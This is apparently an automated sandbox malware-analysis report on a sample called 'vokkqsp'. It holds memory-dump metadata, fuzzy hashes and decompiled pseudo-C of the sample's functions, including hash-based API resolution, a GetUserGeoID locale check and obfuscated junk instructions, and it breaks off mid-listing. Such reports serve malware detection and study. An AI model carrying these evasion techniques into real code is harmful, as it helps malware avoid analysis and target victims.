Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dba4587f79ef45a55e2cbf286225c860941c0fe209a95e3da76f7aa65347950
Instruction ID: 991ae33388391909576dd74927282791e14e25267cd5d5ee5abb74eb19a36c74
Opcode Fuzzy Hash: 4dba4587f79ef45a55e2cbf286225c860941c0fe209a95e3da76f7aa65347950
Instruction Fuzzy Hash: 8B900261601000434280717988449464409FBE2351B51C131A0988550ED5999865A6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9A00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA9A0A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 732c9e6a75c5b9a01135da0f5770f8be45ba7ec58b1801fc82b76b218e484222
Instruction ID: e6a4cf25f9f5dac928e8201cc246889bd2c2f20e61966c61743369ccb8fbb7fe
Opcode Fuzzy Hash: 732c9e6a75c5b9a01135da0f5770f8be45ba7ec58b1801fc82b76b218e484222
Instruction Fuzzy Hash: D490027120140403D2406169481474B0409D7D1342F51C031A1154555ED6659851B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9A50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA9A5A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5a4f160dc68b6b12274edf87a56c7cb7fd88fb8bc9d77bb1a06be446e458bae4
Instruction ID: c0574123a9398dfb9eb4c910035748f7a6044fb5c1d95491d4f3f7f3fd387dff
Opcode Fuzzy Hash: 5a4f160dc68b6b12274edf87a56c7cb7fd88fb8bc9d77bb1a06be446e458bae4
Instruction Fuzzy Hash: EB90026121180043D34065794C14B470409D7D1343F51C135A0144554DD9559861A561

Uniqueness

Uniqueness Score: -1.00%

Function 00AA95D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA95DA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ff8dac8ab9cde65165966810d1f137b3e885e3d67f8e3d053847fb572b21d313
Instruction ID: 015ec985d69ca0388917617d075288e35ce77591b3fdcf7ce383e8298028bb3d
Opcode Fuzzy Hash: ff8dac8ab9cde65165966810d1f137b3e885e3d67f8e3d053847fb572b21d313
Instruction Fuzzy Hash: 2D9002A120200003424571694414656440ED7E1341F51C031E1004590ED5659891B165

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9540 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA954A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ff61d4b89cc592a6f92bac2b60aa8507def5ef27d2ad820030280c01ed977935
Instruction ID: 6fdc963d377834b0a064d8214de8bbad113d7f58b15d2d6f1667bfcf27c78586
Opcode Fuzzy Hash: ff61d4b89cc592a6f92bac2b60aa8507def5ef27d2ad820030280c01ed977935
Instruction Fuzzy Hash: 5C900265211000030245A5690704547044AD7D6391751C031F1005550DE6619861A161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA96E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA96EA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b84cd31270c16cea646e6f1572b786bc9f134eabf36d529e01961f4f05f96de5
Instruction ID: b62f8a6b413fb2177cdc4edd5fefbc2f2935ab137269409b8ec9dd0c6d14d3a7
Opcode Fuzzy Hash: b84cd31270c16cea646e6f1572b786bc9f134eabf36d529e01961f4f05f96de5
Instruction Fuzzy Hash: 0D90027120108803D2506169840478A0409D7D1341F55C431A4414658ED6D59891B161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA966A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c42421be56613383b2e6fd6afcb73933afe3cf6e9ed368bacdfaed5aa88b00df
Instruction ID: 4ec6d0ab08d1ee59a6b4864bcf481c1903aaa66e194012fb41418201fa245892
Opcode Fuzzy Hash: c42421be56613383b2e6fd6afcb73933afe3cf6e9ed368bacdfaed5aa88b00df
Instruction Fuzzy Hash: F590027120100803D2C07169440468A0409D7D2341F91C035A0015654EDA559A59B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA97A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA97AA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 25f84dd11038c7b066379deeaa3e0df1034076d379e80c4d829861b55b877b00
Instruction ID: ceb4d3130027b1f5628589beb108d1fdc226f9c86e3ca676adc37d3f1e3a5871
Opcode Fuzzy Hash: 25f84dd11038c7b066379deeaa3e0df1034076d379e80c4d829861b55b877b00
Instruction Fuzzy Hash: 3F90026130100003D280716954186464409E7E2341F51D031E0404554DE9559856A262

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9780 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA978A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aeddd7eaa7688dc2b7f568ecf6efaccdaffc1a7dc0826d42344f0790fa4fee82
Instruction ID: c26b373f7e9dcfbc1e949bd09492a6bf0a8ebf2337154de2992019c4d7549f9e
Opcode Fuzzy Hash: aeddd7eaa7688dc2b7f568ecf6efaccdaffc1a7dc0826d42344f0790fa4fee82
Instruction Fuzzy Hash: 3290026921300003D2C07169540864A0409D7D2342F91D435A0005558DD9559869A361

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA9FEA

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b87d78f86d86a2a28f86b58fc1247820c0cb6246caed4aa68a63794e9e395b29
Instruction ID: c3b827b3f31b74d0e0caca9a2511dcdda4f382e711fed3e9a857d7da4aa8c421
Opcode Fuzzy Hash: b87d78f86d86a2a28f86b58fc1247820c0cb6246caed4aa68a63794e9e395b29
Instruction Fuzzy Hash: 1290027131114403D250616984047460409D7D2341F51C431A0814558ED6D59891B162

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9710 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA971A

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1f5c26069d83f87e1adc59bc2fa5b8b303d916ae1a0ba6c8e3c36d33b5f734b2
Instruction ID: 2b057bafcf461e0b902f9482d1ee2a5fe4d3375714656251b7a950b0c951bc90
Opcode Fuzzy Hash: 1f5c26069d83f87e1adc59bc2fa5b8b303d916ae1a0ba6c8e3c36d33b5f734b2
Instruction Fuzzy Hash: CC90027120100403D24065A954086860409D7E1341F51D031A5014555FD6A59891B171

Uniqueness

Uniqueness Score: -1.00%

Function 0041E943 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E943(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				E0041F243( *((intOrPtr*)(_a4 + 0x164)), _t5, _t5 + 0xaa8,  *((intOrPtr*)(_a4 + 0x164)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041e946
0x0041e95d
0x0041e96b

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041E96B

Strings

w5@, xrefs: 0041E94F

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: w5@
API String ID: 621844428-2048009441
Opcode ID: ddff7cea5deb504553f35d9d56e2b182a7c93aee5d24c6ec521c17bd09e3aeca
Instruction ID: 28662ead1a8a2610f8e7ad364a80deeb4b3648c83f3036173ff49b3b7ba48b6c
Opcode Fuzzy Hash: ddff7cea5deb504553f35d9d56e2b182a7c93aee5d24c6ec521c17bd09e3aeca
Instruction Fuzzy Hash: CAD01776A003147BCA20EB99CC85FD777ACDF457A4F0180A5BA4C5B282C675BA00C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 0041E935 Relevance: 3.0, APIs: 2, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E0041E935() {

				asm("daa");
				asm("int 0xa2");
				asm("loope 0xffffff9e");
				asm("stc");
				_push(0x9f547df3);
				_t7 =  *0xFFFFFFFF8BEC8B5D;
				E0041F243( *((intOrPtr*)( *0xFFFFFFFF8BEC8B5D + 0x164)), _t7, _t7 + 0xaa8,  *((intOrPtr*)( *0xFFFFFFFF8BEC8B5D + 0x164)), 0, 0x36);
				ExitProcess( *0xFFFFFFFF8BEC8B61);
			}

0x0041e935
0x0041e938
0x0041e93a
0x0041e93c
0x0041e93d
0x0041e946
0x0041e95d
0x0041e96b

APIs

RtlAllocateHeap.NTDLL(00418CB9,?,00419460,00419460,?,00418CB9,00000000,?,?,?,?,00000000,00000000,00000002), ref: 0041E8F0
ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041E96B

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: AllocateExitHeapProcess
String ID:
API String ID: 1054155344-0
Opcode ID: d9de683a8bfab9e82bb086d4083715190b7a9b1252d4d09981e748e756a53aaf
Instruction ID: cf9cc797f96d59935dff7869ae2ce17e4b40744dbe2bb0b75c86a5cc178cc62b
Opcode Fuzzy Hash: d9de683a8bfab9e82bb086d4083715190b7a9b1252d4d09981e748e756a53aaf
Instruction Fuzzy Hash: 5EF024B8A041006BC710DBA4CC85ED33BA8EF85204F144499BC980B202C179E91583F1

Uniqueness

Uniqueness Score: -1.00%

Function 004098A3 Relevance: 1.6, APIs: 1, Instructions: 62
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004098A3(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t13;
				int _t15;
				long _t25;
				int _t27;
				void* _t28;
				void* _t32;

				_t32 = __eflags;
				_v68 = 0;
				E00420213( &_v67, 0, 0x3f);
				E00420CC3( &_v68, 3);
				_t19 = _a4;
				_t13 = E0040CF23(_t32, _a4 + 0x20,  &_v68); // executed
				_t15 = E00419603(_a4 + 0x20, _t13, 0, 0, E00402E13(0x2ef2527b));
				_t27 = _t15;
				if(_t27 != 0) {
					_t25 = _a8;
					_t15 = PostThreadMessageW(_t25, 0x111, 0, 0); // executed
					if(_t15 == 0) {
						return  *_t27(_t25, 0x8003, _t28 + (E0040C5F3(1, 8, _t19 + 0x540) & 0x000000ff) - 0x40, _t15);
					}
				}
				return _t15;
			}

0x004098a3
0x004098b4
0x004098b8
0x004098c3
0x004098c8
0x004098d3
0x004098eb
0x004098f0
0x004098f7
0x004098f9
0x00409906
0x0040990a
0x00000000
0x0040992e
0x0040990a
0x00409936

APIs

PostThreadMessageW.USER32(000072B1,00000111,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00409906

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 8c8e9f467bb6879c5a8c78f1d0dc2f5625c34b38545da03a8c9cbc3b65211247
Instruction ID: 8f2db9fe8dd4293e769d4f79dd02f83159bb7ad0b88680d8187a7f3a5710d2c7
Opcode Fuzzy Hash: 8c8e9f467bb6879c5a8c78f1d0dc2f5625c34b38545da03a8c9cbc3b65211247
Instruction Fuzzy Hash: 6C019B71A4022876E720A695DC82FEF775C9B45B54F14012DFB047A2C2D6A8AD0647F9

Uniqueness

Uniqueness Score: -1.00%

Function 0041E8F5 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00000000,?,?,00000000,00000060,00000000,00000000,?,?,07110A7A,00000000,?), ref: 0041E930

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 55a0592ddd3e87e94e10c422cadf91ba0204797f2d40f8ce93b3a82e1634df7f
Instruction ID: 1f4064dec4080926383eea4deb29f94a4842a973331a5e3ad2f339e89f1cfb14
Opcode Fuzzy Hash: 55a0592ddd3e87e94e10c422cadf91ba0204797f2d40f8ce93b3a82e1634df7f
Instruction Fuzzy Hash: A9F085B5210208ABCB18EF89CC48EA777A8EF88310F004959F90967252C634FA05CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041E8C3 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E8C3(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				_t3 = _a4 + 0xa9c; // 0xa9c
				E0041F243( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041e8d2
0x0041e8da
0x0041e8f0
0x0041e8f4

APIs

RtlAllocateHeap.NTDLL(00418CB9,?,00419460,00419460,?,00418CB9,00000000,?,?,?,?,00000000,00000000,00000002), ref: 0041E8F0

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f17a861d9ed32d2812970187304d035b903240b31c6816d5bb72975ed103bc71
Instruction ID: 54a437fc11085ca12ae2a9f31c46b1b25ee2b1612e845e8a2c08afeac8ca904d
Opcode Fuzzy Hash: f17a861d9ed32d2812970187304d035b903240b31c6816d5bb72975ed103bc71
Instruction Fuzzy Hash: 67E046B6600208ABCB14EF89DC45EE737ACEF88764F018059FE085B242C670F914CAF1

Uniqueness

Uniqueness Score: -1.00%

Function 004100A3 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E004100A3(intOrPtr _a4) {
				intOrPtr* _t7;
				void* _t8;

				_t7 = E00419603(_a4 + 0x20,  *((intOrPtr*)(_a4 + 0x9cc)), 0, 0, 0x998e91b2);
				if(_t7 != 0) {
					_t8 =  *_t7(0x10); // executed
					return 0 | _t8 == 0x000000f1;
				} else {
					return _t7;
				}
			}

0x004100bd
0x004100c7
0x004100cd
0x004100dc
0x004100ca
0x004100ca
0x004100ca

APIs

GetUserGeoID.KERNELBASE(00000010), ref: 004100CD

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: 5c78032def2810ca0ad8a16165e38517362f870899e299bda81b49b85eaa7669
Instruction ID: c28064bcec0e87ed17199b1c401a6025e046bcfeae29810ee43e910d84b218be
Opcode Fuzzy Hash: 5c78032def2810ca0ad8a16165e38517362f870899e299bda81b49b85eaa7669
Instruction Fuzzy Hash: AAE0C27368030426F72091A59C86FA6364E5B84B00F088475F90CD72C2D598E8C01024

Uniqueness

Uniqueness Score: -1.00%

Function 0041E903 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,?,?,00000000,00000060,00000000,00000000,?,?,07110A7A,00000000,?), ref: 0041E930

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7697639fdb2ed1d6984d37921a483162611dfaf69af01616cded54fe58bb6f02
Instruction ID: 7d567fb0b9b374d2fcadea76b5f186a9fefaaa7f04dd58c50085a667477643af
Opcode Fuzzy Hash: 7697639fdb2ed1d6984d37921a483162611dfaf69af01616cded54fe58bb6f02
Instruction Fuzzy Hash: E8E012B5600208ABCB14EF89DC49EA737ACAF88754F018059BA095B282C670E914CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA63 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EA63(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E0041F243( *((intOrPtr*)(_a4 + 0x2f8)), _a4, _t7 + 0xab8,  *((intOrPtr*)(_a4 + 0x2f8)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041ea7d
0x0041ea93
0x0041ea97

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0040FEF5,0040FEF5,?,00000000,?,?), ref: 0041EA93

Memory Dump Source

Source File: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_vokkqsp.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b9bac6194bc143243254909c43a71d5c07130939405321bbf8bc0adf5f3a6230
Instruction ID: 441ee85fda3589afd26e41ae61f19a3667434cbc207aca3ddcc64c5dc7615bd2
Opcode Fuzzy Hash: b9bac6194bc143243254909c43a71d5c07130939405321bbf8bc0adf5f3a6230
Instruction Fuzzy Hash: 13E01AB56002046BC710DF89CC45EE777ADAF88654F014165BA0857242C675E9548AB5

Uniqueness

Uniqueness Score: -1.00%

Function 00AA967A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00AA9694

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c30558eb63c2e97d6c6831b1b92ae4fbf788bb3ad7f0b5fe7e59329d0a732ddf
Instruction ID: b5498e74984cec40a2c6a38f7ece94c688bc02762c3818d5905e012efedaac04
Opcode Fuzzy Hash: c30558eb63c2e97d6c6831b1b92ae4fbf788bb3ad7f0b5fe7e59329d0a732ddf
Instruction Fuzzy Hash: AFB092B29024D5CAEB51E7B04A08B2B7E04BBE6741F26C072E2020785B8778D491F6B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A96A60 Relevance: .2, Instructions: 227
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00A96A60(intOrPtr* _a4) {
				signed int _v8;
				char _v24;
				signed char _v25;
				intOrPtr* _v32;
				signed char _v36;
				signed int _v40;
				intOrPtr* _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr* _v68;
				signed char _v72;
				signed char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed char _v88;
				signed int _v92;
				signed char _v96;
				char _v100;
				signed int _v104;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t101;
				void* _t105;
				signed int _t112;
				signed int* _t113;
				signed int* _t114;
				intOrPtr _t117;
				intOrPtr _t118;
				void* _t122;
				signed int _t127;
				intOrPtr* _t128;
				signed int _t131;
				signed char _t134;
				signed int _t136;
				intOrPtr* _t138;
				intOrPtr* _t139;
				intOrPtr _t143;
				signed char _t144;
				signed short _t145;
				signed char _t146;
				intOrPtr* _t147;
				intOrPtr _t148;
				void* _t150;
				char _t152;
				signed int _t153;
				signed char _t154;

				_v8 =  *0xb5d360 ^ _t153;
				_t144 =  *0x7ffe03c6;
				_v25 = _t144;
				_t128 = _a4;
				_v44 = _t128;
				if((_t144 & 0x00000001) == 0) {
					L54:
					_push(0);
					_push( &_v100);
					E00AA9810();
					 *_t128 = _v100;
					 *(_t128 + 4) = _v96;
					goto L20;
				} else {
					do {
						_t148 =  *0x7ffe03b8;
						_t134 =  *0x7FFE03BC;
						_t146 =  *0x7FFE03BC;
						_v60 = _t148;
						_v76 = _t134;
					} while (_t148 !=  *0x7ffe03b8 || _t134 != _t146);
					_t128 = _v44;
					if((_t144 & 0x00000002) != 0) {
						_t147 =  *0xb56908; // 0x0
						_v68 = _t147;
						if(_t147 == 0) {
							goto L54;
						} else {
							goto L22;
						}
						while(1) {
							L22:
							_t101 =  *_t147;
							_v32 = _t101;
							if(_t101 == 0) {
								break;
							}
							if(_t144 >= 0) {
								if((_t144 & 0x00000020) == 0) {
									if((_t144 & 0x00000010) != 0) {
										asm("mfence");
									}
								} else {
									asm("lfence");
								}
								asm("rdtsc");
							} else {
								asm("rdtscp");
								_v72 = _t134;
							}
							_v52 = _t101;
							_v84 =  *((intOrPtr*)(_t147 + 8));
							_v64 =  *((intOrPtr*)(_t147 + 0x10));
							_v80 =  *((intOrPtr*)(_t147 + 0x14));
							_t105 = E00AACF90(_t144, 0,  *((intOrPtr*)(_t147 + 0xc)), 0);
							_t146 = _t144;
							E00AACF90(_v52, 0,  *((intOrPtr*)(_t147 + 0xc)), 0);
							_t150 = _t105 + _t144;
							_t144 = _v25;
							asm("adc edi, 0x0");
							_v40 = _t150 + _v64;
							_t147 = _v68;
							asm("adc edi, [ebp-0x4c]");
							_v36 = _t146;
							if( *_t147 != _v32) {
								continue;
							} else {
								_t128 = _v44;
								_t147 = _v60;
								L19:
								_t144 = _v36;
								asm("adc edx, [ebp-0x48]");
								 *_t128 = E00AAD340(_v40 + _t147,  *0x7ffe03c7 & 0x000000ff, _t144);
								 *(_t128 + 4) = _t144;
								L20:
								return E00AAB640(1, _t128, _v8 ^ _t153, _t144, _t146, _t147);
							}
						}
						_t128 = _v44;
						goto L54;
					}
					_v56 = 0xffffffff;
					if( *((intOrPtr*)( *[fs:0x18] + 0xfdc)) == 0) {
						_t136 = 0x14c;
						L14:
						_t112 = _t136 & 0x0000ffff;
						L15:
						if(_t112 == 0xaa64) {
							_t113 =  &_v40;
							_v32 = _t113;
							_t138 = _v32;
							asm("int 0x81");
							 *_t138 = _t113;
							 *(_t138 + 4) = _t144;
							if((_t144 & 0x00000040) == 0) {
								goto L19;
							}
							_t114 =  &_v92;
							_v32 = _t114;
							_t139 = _v32;
							asm("int 0x81");
							 *_t139 = _t114;
							 *(_t139 + 4) = _t144;
							_t144 = _v88;
							if(((_t144 ^ _v36) & 0x00000001) != 0) {
								goto L19;
							}
							_t112 = _v92;
							L18:
							_v40 = _t112;
							_v36 = _t144;
							goto L19;
						}
						if(_t144 >= 0) {
							if((_t144 & 0x00000020) == 0) {
								if((_t144 & 0x00000010) != 0) {
									asm("mfence");
								}
							} else {
								asm("lfence");
							}
							asm("rdtsc");
						} else {
							asm("rdtscp");
						}
						goto L18;
					}
					_t117 =  *[fs:0x18];
					_t143 =  *((intOrPtr*)(_t117 + 0xfdc));
					if(_t143 < 0) {
						_t117 = _t117 + _t143;
					}
					if(_t117 ==  *((intOrPtr*)(_t117 + 0x18))) {
						_t118 =  *((intOrPtr*)(_t117 + 0xe38));
					} else {
						_t118 =  *((intOrPtr*)(_t117 + 0x14d0));
					}
					if(_t118 == 0 ||  *((short*)(_t118 + 0x22)) == 0) {
						L34:
						_v48 = 0x10;
						_push( &_v48);
						_push(0x10);
						_t146 =  &_v24;
						_push(_t146);
						_push(4);
						_push( &_v56);
						_push(0xb5);
						_t122 = E00AAAA90();
						if(_t122 == 0xc0000023) {
							_t152 = _v48;
							E00AAD000(_t152);
							_t146 = _t154;
							_push( &_v48);
							_push(_t152);
							_push(_t146);
							_push(4);
							_push( &_v56);
							_push(0xb5);
							_t122 = E00AAAA90();
							_t147 = _v60;
						}
						if(_t122 < 0) {
							_t112 = _v104;
							_t144 = _v25;
							goto L15;
						} else {
							_t145 =  *_t146;
							_t136 = 0;
							if(_t145 == 0) {
								L43:
								_t144 = _v25;
								goto L14;
							}
							_t131 = 0;
							do {
								if((_t145 & 0x00040000) != 0) {
									_t136 = _t145 & 0x0000ffff;
								}
								_t145 =  *(_t146 + 4 + _t131 * 4);
								_t131 = _t131 + 1;
							} while (_t145 != 0);
							_t128 = _v44;
							goto L43;
						}
					} else {
						_t127 =  *(_t118 + 0x20) & 0x0000ffff;
						if(_t127 == 0) {
							goto L34;
						}
						_t136 = _t127;
						goto L14;
					}
				}
			}

0x00a96a6f
0x00a96a72
0x00a96a78
0x00a96a7c
0x00a96a7f
0x00a96a87
0x00ad8049
0x00ad8049
0x00ad804e
0x00ad804f
0x00ad8057
0x00ad805c
0x00000000
0x00a96a8d
0x00a96a92
0x00a96a92
0x00a96a94
0x00a96a99
0x00a96a9c
0x00a96a9f
0x00a96aa2
0x00a96aaa
0x00a96ab0
0x00ad7eae
0x00ad7eb4
0x00ad7eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00ad7ebf
0x00ad7ebf
0x00ad7ebf
0x00ad7ec1
0x00ad7ec6
0x00000000
0x00000000
0x00ad7ece
0x00ad7edb
0x00ad7ee5
0x00ad7ee7
0x00ad7ee7
0x00ad7edd
0x00ad7edd
